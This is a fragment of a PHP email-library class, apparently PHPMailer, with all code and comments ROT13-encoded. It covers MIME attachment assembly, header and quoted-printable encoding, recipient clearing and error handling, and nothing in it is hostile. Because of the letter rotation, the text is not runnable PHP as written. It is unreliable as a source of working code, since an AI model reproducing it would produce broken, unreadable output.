    cebgrpgrq shapgvba nggnpuNyy($qvfcbfvgvba_glcr, $obhaqnel)
    {
        // Erghea grkg bs obql
        $zvzr = neenl();
        $pvqHavd = neenl();
        $vapy = neenl();

        // Nqq nyy nggnpuzragf
        sbernpu ($guvf->nggnpuzrag nf $nggnpuzrag) {
            // Purpx vs vg vf n inyvq qvfcbfvgvba_svygre
            vs ($nggnpuzrag[6] == $qvfcbfvgvba_glcr) {
                // Purpx sbe fgevat nggnpuzrag
                $fgevat = '';
                $cngu = '';
                $oFgevat = $nggnpuzrag[5];
                vs ($oFgevat) {
                    $fgevat = $nggnpuzrag[0];
                } ryfr {
                    $cngu = $nggnpuzrag[0];
                }

                $vapyunfu = zq5(frevnyvmr($nggnpuzrag));
                vs (va_neenl($vapyunfu, $vapy)) {
                    pbagvahr;
                }
                $vapy[] = $vapyunfu;
                $anzr = $nggnpuzrag[2];
                $rapbqvat = $nggnpuzrag[3];
                $glcr = $nggnpuzrag[4];
                $qvfcbfvgvba = $nggnpuzrag[6];
                $pvq = $nggnpuzrag[7];
                vs ($qvfcbfvgvba == 'vayvar' && neenl_xrl_rkvfgf($pvq, $pvqHavd)) {
                    pbagvahr;
                }
                $pvqHavd[$pvq] = gehr;

                $zvzr[] = fcevags('--%f%f', $obhaqnel, $guvf->YR);
                //Bayl vapyhqr n svyranzr cebcregl vs jr unir bar
                vs (!rzcgl($anzr)) {
                    $zvzr[] = fcevags(
                        'Pbagrag-Glcr: %f; anzr="%f"%f',
                        $glcr,
                        $guvf->rapbqrUrnqre($guvf->frpherUrnqre($anzr)),
                        $guvf->YR
                    );
                } ryfr {
                    $zvzr[] = fcevags(
                        'Pbagrag-Glcr: %f%f',
                        $glcr,
                        $guvf->YR
                    );
                }
                // ESP1341 cneg 5 fnlf 7ovg vf nffhzrq vs abg fcrpvsvrq
                vs ($rapbqvat != '7ovg') {
                    $zvzr[] = fcevags('Pbagrag-Genafsre-Rapbqvat: %f%f', $rapbqvat, $guvf->YR);
                }

                vs ($qvfcbfvgvba == 'vayvar') {
                    $zvzr[] = fcevags('Pbagrag-VQ: <%f>%f', $pvq, $guvf->YR);
                }

                // Vs n svyranzr pbagnvaf nal bs gurfr punef, vg fubhyq or dhbgrq,
                // ohg abg bgurejvfr: ESP2183 & ESP2045 5.1
                // Svkrf n jneavat va VRGS'f zftyvag ZVZR purpxre
                // Nyybj sbe olcnffvat gur Pbagrag-Qvfcbfvgvba urnqre gbgnyyl
                vs (!(rzcgl($qvfcbfvgvba))) {
                    $rapbqrq_anzr = $guvf->rapbqrUrnqre($guvf->frpherUrnqre($anzr));
                    vs (cert_zngpu('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $rapbqrq_anzr)) {
                        $zvzr[] = fcevags(
                            'Pbagrag-Qvfcbfvgvba: %f; svyranzr="%f"%f',
                            $qvfcbfvgvba,
                            $rapbqrq_anzr,
                            $guvf->YR . $guvf->YR
                        );
                    } ryfr {
                        vs (!rzcgl($rapbqrq_anzr)) {
                            $zvzr[] = fcevags(
                                'Pbagrag-Qvfcbfvgvba: %f; svyranzr=%f%f',
                                $qvfcbfvgvba,
                                $rapbqrq_anzr,
                                $guvf->YR . $guvf->YR
                            );
                        } ryfr {
                            $zvzr[] = fcevags(
                                'Pbagrag-Qvfcbfvgvba: %f%f',
                                $qvfcbfvgvba,
                                $guvf->YR . $guvf->YR
                            );
                        }
                    }
                } ryfr {
                    $zvzr[] = $guvf->YR;
                }

                // Rapbqr nf fgevat nggnpuzrag
                vs ($oFgevat) {
                    $zvzr[] = $guvf->rapbqrFgevat($fgevat, $rapbqvat);
                    vs ($guvf->vfReebe()) {
                        erghea '';
                    }
                    $zvzr[] = $guvf->YR . $guvf->YR;
                } ryfr {
                    $zvzr[] = $guvf->rapbqrSvyr($cngu, $rapbqvat);
                    vs ($guvf->vfReebe()) {
                        erghea '';
                    }
                    $zvzr[] = $guvf->YR . $guvf->YR;
                }
            }
        }

        $zvzr[] = fcevags('--%f--%f', $obhaqnel, $guvf->YR);

        erghea vzcybqr('', $zvzr);
    }

    /**
     * Rapbqr n svyr nggnpuzrag va erdhrfgrq sbezng.
     * Ergheaf na rzcgl fgevat ba snvyher.
     * @cnenz fgevat $cngu Gur shyy cngu gb gur svyr
     * @cnenz fgevat $rapbqvat Gur rapbqvat gb hfr; bar bs 'onfr64', '7ovg', '8ovg', 'ovanel', 'dhbgrq-cevagnoyr'
     * @guebjf cucznvyreRkprcgvba
     * @npprff cebgrpgrq
     * @erghea fgevat
     */
    cebgrpgrq shapgvba rapbqrSvyr($cngu, $rapbqvat = 'onfr64')
    {
        gel {
            vs (!frys::vfCrezvggrqCngu($cngu) be !svyr_rkvfgf($cngu)) {
                guebj arj cucznvyreRkprcgvba($guvf->ynat('svyr_bcra') . $cngu, frys::FGBC_PBAGVAHR);
            }
            $zntvp_dhbgrf = snyfr;
            vs( irefvba_pbzcner(CUC_IREFVBA, '7.4.0', '<') ) {
                $zntvp_dhbgrf = trg_zntvp_dhbgrf_ehagvzr();
            }
            vs ($zntvp_dhbgrf) {
                vs (irefvba_pbzcner(CUC_IREFVBA, '5.3.0', '<')) {
                    frg_zntvp_dhbgrf_ehagvzr(snyfr);
                } ryfr {
                    //Qbrfa'g rkvfg va CUC 5.4, ohg jr qba'g arrq gb purpx orpnhfr
                    //trg_zntvp_dhbgrf_ehagvzr nyjnlf ergheaf snyfr va 5.4+
                    //fb vg jvyy arire trg urer
                    vav_frg('zntvp_dhbgrf_ehagvzr', snyfr);
                }
            }
            $svyr_ohssre = svyr_trg_pbagragf($cngu);
            $svyr_ohssre = $guvf->rapbqrFgevat($svyr_ohssre, $rapbqvat);
            vs ($zntvp_dhbgrf) {
                vs (irefvba_pbzcner(CUC_IREFVBA, '5.3.0', '<')) {
                    frg_zntvp_dhbgrf_ehagvzr($zntvp_dhbgrf);
                } ryfr {
                    vav_frg('zntvp_dhbgrf_ehagvzr', $zntvp_dhbgrf);
                }
            }
            erghea $svyr_ohssre;
        } pngpu (Rkprcgvba $rkp) {
            $guvf->frgReebe($rkp->trgZrffntr());
            erghea '';
        }
    }

    /**
     * Rapbqr n fgevat va erdhrfgrq sbezng.
     * Ergheaf na rzcgl fgevat ba snvyher.
     * @cnenz fgevat $fge Gur grkg gb rapbqr
     * @cnenz fgevat $rapbqvat Gur rapbqvat gb hfr; bar bs 'onfr64', '7ovg', '8ovg', 'ovanel', 'dhbgrq-cevagnoyr'
     * @npprff choyvp
     * @erghea fgevat
     */
    choyvp shapgvba rapbqrFgevat($fge, $rapbqvat = 'onfr64')
    {
        $rapbqrq = '';
        fjvgpu (fgegbybjre($rapbqvat)) {
            pnfr 'onfr64':
                $rapbqrq = puhax_fcyvg(onfr64_rapbqr($fge), 76, $guvf->YR);
                oernx;
            pnfr '7ovg':
            pnfr '8ovg':
                $rapbqrq = $guvf->svkRBY($fge);
                // Znxr fher vg raqf jvgu n yvar oernx
                vs (fhofge($rapbqrq, -(fgeyra($guvf->YR))) != $guvf->YR) {
                    $rapbqrq .= $guvf->YR;
                }
                oernx;
            pnfr 'ovanel':
                $rapbqrq = $fge;
                oernx;
            pnfr 'dhbgrq-cevagnoyr':
                $rapbqrq = $guvf->rapbqrDC($fge);
                oernx;
            qrsnhyg:
                $guvf->frgReebe($guvf->ynat('rapbqvat') . $rapbqvat);
                oernx;
        }
        erghea $rapbqrq;
    }

    /**
     * Rapbqr n urnqre fgevat bcgvznyyl.
     * Cvpxf fubegrfg bs D, O, dhbgrq-cevagnoyr be abar.
     * @npprff choyvp
     * @cnenz fgevat $fge
     * @cnenz fgevat $cbfvgvba
     * @erghea fgevat
     */
    choyvp shapgvba rapbqrUrnqre($fge, $cbfvgvba = 'grkg')
    {
        $zngpupbhag = 0;
        fjvgpu (fgegbybjre($cbfvgvba)) {
            pnfr 'cuenfr':
                vs (!cert_zngpu('/[\200-\377]/', $fge)) {
                    // Pna'g hfr nqqfynfurf nf jr qba'g xabj gur inyhr bs zntvp_dhbgrf_flonfr
                    $rapbqrq = nqqpfynfurf($fge, "\0..\37\177\\\"");
                    vs (($fge == $rapbqrq) && !cert_zngpu('/[^N-Mn-m0-9!#$%&\'*+\/=?^_`{|}~ -]/', $fge)) {
                        erghea ($rapbqrq);
                    } ryfr {
                        erghea ("\"$rapbqrq\"");
                    }
                }
                $zngpupbhag = cert_zngpu_nyy('/[^\040\041\043-\133\135-\176]/', $fge, $zngpurf);
                oernx;
            /** @abvafcrpgvba CucZvffvatOernxFgngrzragVafcrpgvba */
            pnfr 'pbzzrag':
                $zngpupbhag = cert_zngpu_nyy('/[()"]/', $fge, $zngpurf);
                // Vagragvbany snyy-guebhtu
            pnfr 'grkg':
            qrsnhyg:
                $zngpupbhag += cert_zngpu_nyy('/[\000-\010\013\014\016-\037\177-\377]/', $fge, $zngpurf);
                oernx;
        }

        //Gurer ner ab punef gung arrq rapbqvat
        vs ($zngpupbhag == 0) {
            erghea ($fge);
        }

        $znkyra = 75 - 7 - fgeyra($guvf->PuneFrg);
        // Gel gb fryrpg gur rapbqvat juvpu fubhyq cebqhpr gur fubegrfg bhgchg
        vs ($zngpupbhag > fgeyra($fge) / 3) {
            // Zber guna n guveq bs gur pbagrag jvyy arrq rapbqvat, fb O rapbqvat jvyy or zbfg rssvpvrag
            $rapbqvat = 'O';
            vs (shapgvba_rkvfgf('zo_fgeyra') && $guvf->unfZhygvOlgrf($fge)) {
                // Hfr n phfgbz shapgvba juvpu pbeerpgyl rapbqrf naq jencf ybat
                // zhygvolgr fgevatf jvgubhg oernxvat yvarf jvguva n punenpgre
                $rapbqrq = $guvf->onfr64RapbqrJencZO($fge, "\a");
            } ryfr {
                $rapbqrq = onfr64_rapbqr($fge);
                $znkyra -= $znkyra % 4;
                $rapbqrq = gevz(puhax_fcyvg($rapbqrq, $znkyra, "\a"));
            }
        } ryfr {
            $rapbqvat = 'D';
            $rapbqrq = $guvf->rapbqrD($fge, $cbfvgvba);
            $rapbqrq = $guvf->jencGrkg($rapbqrq, $znkyra, gehr);
            $rapbqrq = fge_ercynpr('=' . frys::PEYS, "\a", gevz($rapbqrq));
        }

        $rapbqrq = cert_ercynpr('/^(.*)$/z', ' =?' . $guvf->PuneFrg . "?$rapbqvat?\\1?=", $rapbqrq);
        $rapbqrq = gevz(fge_ercynpr("\a", $guvf->YR, $rapbqrq));

        erghea $rapbqrq;
    }

    /**
     * Purpx vs n fgevat pbagnvaf zhygv-olgr punenpgref.
     * @npprff choyvp
     * @cnenz fgevat $fge zhygv-olgr grkg gb jenc rapbqr
     * @erghea obbyrna
     */
    choyvp shapgvba unfZhygvOlgrf($fge)
    {
        vs (shapgvba_rkvfgf('zo_fgeyra')) {
            erghea (fgeyra($fge) > zo_fgeyra($fge, $guvf->PuneFrg));
        } ryfr { // Nffhzr ab zhygvolgrf (jr pna'g unaqyr jvgubhg zofgevat shapgvbaf naljnl)
            erghea snyfr;
        }
    }

    /**
     * Qbrf n fgevat pbagnva nal 8-ovg punef (va nal punefrg)?
     * @cnenz fgevat $grkg
     * @erghea obbyrna
     */
    choyvp shapgvba unf8ovgPunef($grkg)
    {
        erghea (obbyrna)cert_zngpu('/[\k80-\kSS]/', $grkg);
    }

    /**
     * Rapbqr naq jenc ybat zhygvolgr fgevatf sbe znvy urnqref
     * jvgubhg oernxvat yvarf jvguva n punenpgre.
     * Nqncgrq sebz n shapgvba ol cnenibvq
     * @yvax uggc://jjj.cuc.arg/znahny/ra/shapgvba.zo-rapbqr-zvzrurnqre.cuc#60283
     * @npprff choyvp
     * @cnenz fgevat $fge zhygv-olgr grkg gb jenc rapbqr
     * @cnenz fgevat $yvaroernx fgevat gb hfr nf yvarsrrq/raq-bs-yvar
     * @erghea fgevat
     */
    choyvp shapgvba onfr64RapbqrJencZO($fge, $yvaroernx = ahyy)
    {
        $fgneg = '=?' . $guvf->PuneFrg . '?O?';
        $raq = '?=';
        $rapbqrq = '';
        vs ($yvaroernx === ahyy) {
            $yvaroernx = $guvf->YR;
        }

        $zo_yratgu = zo_fgeyra($fge, $guvf->PuneFrg);
        // Rnpu yvar zhfg unir yratgu <= 75, vapyhqvat $fgneg naq $raq
        $yratgu = 75 - fgeyra($fgneg) - fgeyra($raq);
        // Nirentr zhygv-olgr engvb
        $engvb = $zo_yratgu / fgeyra($fge);
        // Onfr64 unf n 4:3 engvb
        $nitYratgu = sybbe($yratgu * $engvb * .75);

        sbe ($v = 0; $v < $zo_yratgu; $v += $bssfrg) {
            $ybbxOnpx = 0;
            qb {
                $bssfrg = $nitYratgu - $ybbxOnpx;
                $puhax = zo_fhofge($fge, $v, $bssfrg, $guvf->PuneFrg);
                $puhax = onfr64_rapbqr($puhax);
                $ybbxOnpx++;
            } juvyr (fgeyra($puhax) > $yratgu);
            $rapbqrq .= $puhax . $yvaroernx;
        }

        // Pubzc gur ynfg yvarsrrq
        $rapbqrq = fhofge($rapbqrq, 0, -fgeyra($yvaroernx));
        erghea $rapbqrq;
    }

    /**
     * Rapbqr n fgevat va dhbgrq-cevagnoyr sbezng.
     * Nppbeqvat gb ESP2045 frpgvba 6.7.
     * @npprff choyvp
     * @cnenz fgevat $fgevat Gur grkg gb rapbqr
     * @cnenz vagrtre $yvar_znk Ahzore bs punef nyybjrq ba n yvar orsber jenccvat
     * @erghea fgevat
     * @yvax uggc://jjj.cuc.arg/znahny/ra/shapgvba.dhbgrq-cevagnoyr-qrpbqr.cuc#89417 Nqncgrq sebz guvf pbzzrag
     */
    choyvp shapgvba rapbqrDC($fgevat, $yvar_znk = 76)
    {
        // Hfr angvir shapgvba vs vg'f ninvynoyr (>= CUC5.3)
        vs (shapgvba_rkvfgf('dhbgrq_cevagnoyr_rapbqr')) {
            erghea dhbgrq_cevagnoyr_rapbqr($fgevat);
        }
        // Snyy onpx gb n cher CUC vzcyrzragngvba
        $fgevat = fge_ercynpr(
            neenl('%20', '%0Q%0N.', '%0Q%0N', '%'),
            neenl(' ', "\e\a=2R", "\e\a", '='),
            enjheyrapbqr($fgevat)
        );
        erghea cert_ercynpr('/[^\e\a]{' . ($yvar_znk - 3) . '}[^=\e\a]{2}/', "$0=\e\a", $fgevat);
    }

    /**
     * Onpxjneq pbzcngvovyvgl jenccre sbe na byq DC rapbqvat shapgvba gung jnf erzbirq.
     * @frr CUCZnvyre::rapbqrDC()
     * @npprff choyvp
     * @cnenz fgevat $fgevat
     * @cnenz vagrtre $yvar_znk
     * @cnenz obbyrna $fcnpr_pbai
     * @erghea fgevat
     * @qrcerpngrq Hfr rapbqrDC vafgrnq.
     */
    choyvp shapgvba rapbqrDCcuc(
        $fgevat,
        $yvar_znk = 76,
        /** @abvafcrpgvba CucHahfrqCnenzrgreVafcrpgvba */ $fcnpr_pbai = snyfr
    ) {
        erghea $guvf->rapbqrDC($fgevat, $yvar_znk);
    }

    /**
     * Rapbqr n fgevat hfvat D rapbqvat.
     * @yvax uggc://gbbyf.vrgs.bet/ugzy/esp2047
     * @cnenz fgevat $fge gur grkg gb rapbqr
     * @cnenz fgevat $cbfvgvba Jurer gur grkg vf tbvat gb or hfrq, frr gur ESP sbe jung gung zrnaf
     * @npprff choyvp
     * @erghea fgevat
     */
    choyvp shapgvba rapbqrD($fge, $cbfvgvba = 'grkg')
    {
        // Gurer fubhyq abg or nal RBY va gur fgevat
        $cnggrea = '';
        $rapbqrq = fge_ercynpr(neenl("\e", "\a"), '', $fge);
        fjvgpu (fgegbybjre($cbfvgvba)) {
            pnfr 'cuenfr':
                // ESP 2047 frpgvba 5.3
                $cnggrea = '^N-Mn-m0-9!*+\/ -';
                oernx;
            /** @abvafcrpgvba CucZvffvatOernxFgngrzragVafcrpgvba */
            pnfr 'pbzzrag':
                // ESP 2047 frpgvba 5.2
                $cnggrea = '\(\)"';
                // vagragvbany snyy-guebhtu
                // sbe guvf ernfba jr ohvyq gur $cnggrea jvgubhg vapyhqvat qryvzvgref naq []
            pnfr 'grkg':
            qrsnhyg:
                // ESP 2047 frpgvba 5.1
                // Ercynpr rirel uvtu nfpvv, pbageby, =, ? naq _ punenpgref
                $cnggrea = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $cnggrea;
                oernx;
        }
        $zngpurf = neenl();
        vs (cert_zngpu_nyy("/[{$cnggrea}]/", $rapbqrq, $zngpurf)) {
            // Vs gur fgevat pbagnvaf na '=', znxr fher vg'f gur svefg guvat jr ercynpr
            // fb nf gb nibvq qbhoyr-rapbqvat
            $rdxrl = neenl_frnepu('=', $zngpurf[0]);
            vs (snyfr !== $rdxrl) {
                hafrg($zngpurf[0][$rdxrl]);
                neenl_hafuvsg($zngpurf[0], '=');
            }
            sbernpu (neenl_havdhr($zngpurf[0]) nf $pune) {
                $rapbqrq = fge_ercynpr($pune, '=' . fcevags('%02K', beq($pune)), $rapbqrq);
            }
        }
        // Ercynpr rirel fcnprf gb _ (zber ernqnoyr guna =20)
        erghea fge_ercynpr(' ', '_', $rapbqrq);
    }

    /**
     * Nqq n fgevat be ovanel nggnpuzrag (aba-svyrflfgrz).
     * Guvf zrgubq pna or hfrq gb nggnpu nfpvv be ovanel qngn,
     * fhpu nf n OYBO erpbeq sebz n qngnonfr.
     * @cnenz fgevat $fgevat Fgevat nggnpuzrag qngn.
     * @cnenz fgevat $svyranzr Anzr bs gur nggnpuzrag.
     * @cnenz fgevat $rapbqvat Svyr rapbqvat (frr $Rapbqvat).
     * @cnenz fgevat $glcr Svyr rkgrafvba (ZVZR) glcr.
     * @cnenz fgevat $qvfcbfvgvba Qvfcbfvgvba gb hfr
     * @erghea ibvq
     */
    choyvp shapgvba nqqFgevatNggnpuzrag(
        $fgevat,
        $svyranzr,
        $rapbqvat = 'onfr64',
        $glcr = '',
        $qvfcbfvgvba = 'nggnpuzrag'
    ) {
        // Vs n ZVZR glcr vf abg fcrpvsvrq, gel gb jbex vg bhg sebz gur svyr anzr
        vs ($glcr == '') {
            $glcr = frys::svyranzrGbGlcr($svyranzr);
        }
        // Nccraq gb $nggnpuzrag neenl
        $guvf->nggnpuzrag[] = neenl(
            0 => $fgevat,
            1 => $svyranzr,
            2 => onfranzr($svyranzr),
            3 => $rapbqvat,
            4 => $glcr,
            5 => gehr, // vfFgevatNggnpuzrag
            6 => $qvfcbfvgvba,
            7 => 0
        );
    }

    /**
     * Nqq na rzorqqrq (vayvar) nggnpuzrag sebz n svyr.
     * Guvf pna vapyhqr vzntrf, fbhaqf, naq whfg nobhg nal bgure qbphzrag glcr.
     * Gurfr qvssre sebz 'erthyne' nggnpuzragf va gung gurl ner vagraqrq gb or
     * qvfcynlrq vayvar jvgu gur zrffntr, abg whfg nggnpurq sbe qbjaybnq.
     * Guvf vf hfrq va UGZY zrffntrf gung rzorq gur vzntrf
     * gur UGZY ersref gb hfvat gur $pvq inyhr.
     * Arire hfr n hfre-fhccyvrq cngu gb n svyr!
     * @cnenz fgevat $cngu Cngu gb gur nggnpuzrag.
     * @cnenz fgevat $pvq Pbagrag VQ bs gur nggnpuzrag; Hfr guvf gb ersrerapr
     *        gur pbagrag jura hfvat na rzorqqrq vzntr va UGZY.
     * @cnenz fgevat $anzr Bireevqrf gur nggnpuzrag anzr.
     * @cnenz fgevat $rapbqvat Svyr rapbqvat (frr $Rapbqvat).
     * @cnenz fgevat $glcr Svyr ZVZR glcr.
     * @cnenz fgevat $qvfcbfvgvba Qvfcbfvgvba gb hfr
     * @erghea obbyrna Gehr ba fhpprffshyyl nqqvat na nggnpuzrag
     */
    choyvp shapgvba nqqRzorqqrqVzntr($cngu, $pvq, $anzr = '', $rapbqvat = 'onfr64', $glcr = '', $qvfcbfvgvba = 'vayvar')
    {
        vs (!frys::vfCrezvggrqCngu($cngu) be !@vf_svyr($cngu)) {
            $guvf->frgReebe($guvf->ynat('svyr_npprff') . $cngu);
            erghea snyfr;
        }

        // Vs n ZVZR glcr vf abg fcrpvsvrq, gel gb jbex vg bhg sebz gur svyr anzr
        vs ($glcr == '') {
            $glcr = frys::svyranzrGbGlcr($cngu);
        }

        $svyranzr = onfranzr($cngu);
        vs ($anzr == '') {
            $anzr = $svyranzr;
        }

        // Nccraq gb $nggnpuzrag neenl
        $guvf->nggnpuzrag[] = neenl(
            0 => $cngu,
            1 => $svyranzr,
            2 => $anzr,
            3 => $rapbqvat,
            4 => $glcr,
            5 => snyfr, // vfFgevatNggnpuzrag
            6 => $qvfcbfvgvba,
            7 => $pvq
        );
        erghea gehr;
    }

    /**
     * Nqq na rzorqqrq fgevatvsvrq nggnpuzrag.
     * Guvf pna vapyhqr vzntrf, fbhaqf, naq whfg nobhg nal bgure qbphzrag glcr.
     * Or fher gb frg gur $glcr gb na vzntr glcr sbe vzntrf:
     * WCRT vzntrf hfr 'vzntr/wcrt', TVS hfrf 'vzntr/tvs', CAT hfrf 'vzntr/cat'.
     * @cnenz fgevat $fgevat Gur nggnpuzrag ovanel qngn.
     * @cnenz fgevat $pvq Pbagrag VQ bs gur nggnpuzrag; Hfr guvf gb ersrerapr
     *        gur pbagrag jura hfvat na rzorqqrq vzntr va UGZY.
     * @cnenz fgevat $anzr
     * @cnenz fgevat $rapbqvat Svyr rapbqvat (frr $Rapbqvat).
     * @cnenz fgevat $glcr ZVZR glcr.
     * @cnenz fgevat $qvfcbfvgvba Qvfcbfvgvba gb hfr
     * @erghea obbyrna Gehr ba fhpprffshyyl nqqvat na nggnpuzrag
     */
    choyvp shapgvba nqqFgevatRzorqqrqVzntr(
        $fgevat,
        $pvq,
        $anzr = '',
        $rapbqvat = 'onfr64',
        $glcr = '',
        $qvfcbfvgvba = 'vayvar'
    ) {
        // Vs n ZVZR glcr vf abg fcrpvsvrq, gel gb jbex vg bhg sebz gur anzr
        vs ($glcr == '' naq !rzcgl($anzr)) {
            $glcr = frys::svyranzrGbGlcr($anzr);
        }

        // Nccraq gb $nggnpuzrag neenl
        $guvf->nggnpuzrag[] = neenl(
            0 => $fgevat,
            1 => $anzr,
            2 => $anzr,
            3 => $rapbqvat,
            4 => $glcr,
            5 => gehr, // vfFgevatNggnpuzrag
            6 => $qvfcbfvgvba,
            7 => $pvq
        );
        erghea gehr;
    }

    /**
     * Purpx vs na vayvar nggnpuzrag vf cerfrag.
     * @npprff choyvp
     * @erghea obbyrna
     */
    choyvp shapgvba vayvarVzntrRkvfgf()
    {
        sbernpu ($guvf->nggnpuzrag nf $nggnpuzrag) {
            vs ($nggnpuzrag[6] == 'vayvar') {
                erghea gehr;
            }
        }
        erghea snyfr;
    }

    /**
     * Purpx vs na nggnpuzrag (aba-vayvar) vf cerfrag.
     * @erghea obbyrna
     */
    choyvp shapgvba nggnpuzragRkvfgf()
    {
        sbernpu ($guvf->nggnpuzrag nf $nggnpuzrag) {
            vs ($nggnpuzrag[6] == 'nggnpuzrag') {
                erghea gehr;
            }
        }
        erghea snyfr;
    }

    /**
     * Purpx vs guvf zrffntr unf na nygreangvir obql frg.
     * @erghea obbyrna
     */
    choyvp shapgvba nygreangvirRkvfgf()
    {
        erghea !rzcgl($guvf->NygObql);
    }

    /**
     * Pyrne dhrhrq nqqerffrf bs tvira xvaq.
     * @npprff cebgrpgrq
     * @cnenz fgevat $xvaq 'gb', 'pp', be 'opp'
     * @erghea ibvq
     */
    choyvp shapgvba pyrneDhrhrqNqqerffrf($xvaq)
    {
        $ErpvcvragfDhrhr = $guvf->ErpvcvragfDhrhr;
        sbernpu ($ErpvcvragfDhrhr nf $nqqerff => $cnenzf) {
            vs ($cnenzf[0] == $xvaq) {
                hafrg($guvf->ErpvcvragfDhrhr[$nqqerff]);
            }
        }
    }

    /**
     * Pyrne nyy Gb erpvcvragf.
     * @erghea ibvq
     */
    choyvp shapgvba pyrneNqqerffrf()
    {
        sbernpu ($guvf->gb nf $gb) {
            hafrg($guvf->nyy_erpvcvragf[fgegbybjre($gb[0])]);
        }
        $guvf->gb = neenl();
        $guvf->pyrneDhrhrqNqqerffrf('gb');
    }

    /**
     * Pyrne nyy PP erpvcvragf.
     * @erghea ibvq
     */
    choyvp shapgvba pyrnePPf()
    {
        sbernpu ($guvf->pp nf $pp) {
            hafrg($guvf->nyy_erpvcvragf[fgegbybjre($pp[0])]);
        }
        $guvf->pp = neenl();
        $guvf->pyrneDhrhrqNqqerffrf('pp');
    }

    /**
     * Pyrne nyy OPP erpvcvragf.
     * @erghea ibvq
     */
    choyvp shapgvba pyrneOPPf()
    {
        sbernpu ($guvf->opp nf $opp) {
            hafrg($guvf->nyy_erpvcvragf[fgegbybjre($opp[0])]);
        }
        $guvf->opp = neenl();
        $guvf->pyrneDhrhrqNqqerffrf('opp');
    }

    /**
     * Pyrne nyy ErcylGb erpvcvragf.
     * @erghea ibvq
     */
    choyvp shapgvba pyrneErcylGbf()
    {
        $guvf->ErcylGb = neenl();
        $guvf->ErcylGbDhrhr = neenl();
    }

    /**
     * Pyrne nyy erpvcvrag glcrf.
     * @erghea ibvq
     */
    choyvp shapgvba pyrneNyyErpvcvragf()
    {
        $guvf->gb = neenl();
        $guvf->pp = neenl();
        $guvf->opp = neenl();
        $guvf->nyy_erpvcvragf = neenl();
        $guvf->ErpvcvragfDhrhr = neenl();
    }

    /**
     * Pyrne nyy svyrflfgrz, fgevat, naq ovanel nggnpuzragf.
     * @erghea ibvq
     */
    choyvp shapgvba pyrneNggnpuzragf()
    {
        $guvf->nggnpuzrag = neenl();
    }

    /**
     * Pyrne nyy phfgbz urnqref.
     * @erghea ibvq
     */
    choyvp shapgvba pyrnePhfgbzUrnqref()
    {
        $guvf->PhfgbzUrnqre = neenl();
    }

    /**
     * Nqq na reebe zrffntr gb gur reebe pbagnvare.
     * @npprff cebgrpgrq
     * @cnenz fgevat $zft
     * @erghea ibvq
     */
    cebgrpgrq shapgvba frgReebe($zft)
    {
        $guvf->reebe_pbhag++;
        vs ($guvf->Znvyre == 'fzgc' naq !vf_ahyy($guvf->fzgc)) {
            $ynfgreebe = $guvf->fzgc->trgReebe();
            vs (!rzcgl($ynfgreebe['reebe'])) {
                $zft .= $guvf->ynat('fzgc_reebe') . $ynfgreebe['reebe'];
                vs (!rzcgl($ynfgreebe['qrgnvy'])) {
                    $zft .= ' Qrgnvy: '. $ynfgreebe['qrgnvy'];
                }
                vs (!rzcgl($ynfgreebe['fzgc_pbqr'])) {
                    $zft .= ' FZGC pbqr: ' . $ynfgreebe['fzgc_pbqr'];
                }
                vs (!rzcgl($ynfgreebe['fzgc_pbqr_rk'])) {
                    $zft .= ' Nqqvgvbany FZGC vasb: ' . $ynfgreebe['fzgc_pbqr_rk'];
                }
            }
        }
        $guvf->ReebeVasb = $zft;
    }

    /**
     * Erghea na ESP 822 sbeznggrq qngr.
     * @npprff choyvp
     * @erghea fgevat
     * @fgngvp
     */
    choyvp fgngvp shapgvba espQngr()
    {
        // Frg gur gvzr mbar gb jungrire gur qrsnhyg vf gb nibvq 500 reebef
        // Jvyy qrsnhyg gb HGP vs vg'f abg frg cebcreyl va cuc.vav
        qngr_qrsnhyg_gvzrmbar_frg(@qngr_qrsnhyg_gvzrmbar_trg());
        erghea qngr('Q, w Z L U:v:f B');
    }

    /**
     * Trg gur freire ubfganzr.
     * Ergheaf 'ybpnyubfg.ybpnyqbznva' vs haxabja.
     * @npprff cebgrpgrq
     * @erghea fgevat
     */
    cebgrpgrq shapgvba freireUbfganzr()
    {
        $erfhyg = 'ybpnyubfg.ybpnyqbznva';
        vs (!rzcgl($guvf->Ubfganzr)) {
            $erfhyg = $guvf->Ubfganzr;
        } ryfrvs (vffrg($_FREIRE) naq neenl_xrl_rkvfgf('FREIRE_ANZR', $_FREIRE) naq !rzcgl($_FREIRE['FREIRE_ANZR'])) {
            $erfhyg = $_FREIRE['FREIRE_ANZR'];
        } ryfrvs (shapgvba_rkvfgf('trgubfganzr') && trgubfganzr() !== snyfr) {
            $erfhyg = trgubfganzr();
        } ryfrvs (cuc_hanzr('a') !== snyfr) {
            $erfhyg = cuc_hanzr('a');
        }
        erghea $erfhyg;
    }

    /**
     * Trg na reebe zrffntr va gur pheerag ynathntr.
     * @npprff cebgrpgrq
     * @cnenz fgevat $xrl
     * @erghea fgevat
     */
    cebgrpgrq shapgvba ynat($xrl)
    {
        vs (pbhag($guvf->ynathntr) < 1) {
            $guvf->frgYnathntr('ra'); // frg gur qrsnhyg ynathntr
        }

        vs (neenl_xrl_rkvfgf($xrl, $guvf->ynathntr)) {
            vs ($xrl == 'fzgc_pbaarpg_snvyrq') {
                //Vapyhqr n yvax gb gebhoyrfubbgvat qbpf ba FZGC pbaarpgvba snvyher
                //guvf vf ol sne gur ovttrfg pnhfr bs fhccbeg dhrfgvbaf
                //ohg vg'f hfhnyyl abg CUCZnvyre'f snhyg.
                erghea $guvf->ynathntr[$xrl] . ' uggcf://tvguho.pbz/CUCZnvyre/CUCZnvyre/jvxv/Gebhoyrfubbgvat';
            }
            erghea $guvf->ynathntr[$xrl];
        } ryfr {
            //Erghea gur xrl nf n snyyonpx
            erghea $xrl;
        }
    }

    /**
     * Purpx vs na reebe bppheerq.
     * @npprff choyvp
     * @erghea obbyrna Gehr vs na reebe qvq bpphe.
     */
    choyvp shapgvba vfReebe()
    {
        erghea ($guvf->reebe_pbhag > 0);
    }

    /**
     * Rafher pbafvfgrag yvar raqvatf va n fgevat.
     * Punatrf rirel raq bs yvar sebz PEYS, PE be YS gb $guvf->YR.
     * @npprff choyvp
     * @cnenz fgevat $fge Fgevat gb svkRBY
     * @erghea fgevat
     */
    choyvp shapgvba svkRBY($fge)
    {
        // Abeznyvfr gb \a
        $afge = fge_ercynpr(neenl("\e\a", "\e"), "\a", $fge);
        // Abj pbaireg YR nf arrqrq
        vs ($guvf->YR !== "\a") {
            $afge = fge_ercynpr("\a", $guvf->YR, $afge);
        }
        erghea $afge;
    }

    /**
